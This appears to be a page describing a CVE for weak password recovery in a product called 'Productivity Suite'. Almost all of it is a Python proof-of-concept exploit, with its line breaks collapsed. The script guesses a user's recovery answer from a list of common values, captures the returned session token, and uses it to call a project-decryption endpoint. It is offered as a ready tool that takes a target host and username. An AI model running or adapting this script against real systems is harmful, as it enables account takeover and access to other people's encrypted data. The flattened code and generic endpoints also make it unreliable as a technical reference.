CVE-2025-61977 Productivity Suite弱密码恢复机制漏洞

# CVE-2025-61977 PoC - Productivity Suite Weak Password Recovery # This PoC demonstrates the weak password recovery mechanism import requests import sys def exploit_weak_recovery(target_host, username): """ Exploit weak password recovery mechanism in Productivity Suite v4.4.1.19 The vulnerability allows decryption by answering only ONE recovery question """ print(f"[*] Targeting: {target_host}") print(f"[*] Attempting password recovery for user: {username}") # Step 1: Initiate password recovery recovery_url = f"{target_host}/api/password/recover" payload = {"username": username} response = requests.post(recovery_url, json=payload) if response.status_code == 200: data = response.json() recovery_question = data.get("question", "Unknown") print(f"[+] Recovery question: {recovery_question}") # Step 2: Submit single answer (vulnerability - only ONE question required) # In real attack, this could be brute-forced or guessed answer_url = f"{target_host}/api/password/verify" # Common recovery answers to try common_answers = ["password", "123456", "admin", "user123"] for answer in common_answers: verify_payload = { "username": username, "answer": answer } verify_response = requests.post(answer_url, json=verify_payload) if verify_response.status_code == 200: result = verify_response.json() if result.get("success"): print(f"[+] SUCCESS: Answer '{answer}' accepted!") print(f"[+] Token: {result.get('token', 'N/A')}") # Step 3: Use token to decrypt project decrypt_url = f"{target_host}/api/project/decrypt" headers = {"Authorization": f"Bearer {result.get('token')}"} decrypt_response = requests.get(decrypt_url, headers=headers) if decrypt_response.status_code == 200: print("[+] VULNERABILITY CONFIRMED: Encrypted project decrypted!") return True print("[-] Exploitation failed") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-61977-poc.py <target_host> <username>") sys.exit(1) exploit_weak_recovery(sys.argv[1], sys.argv[2])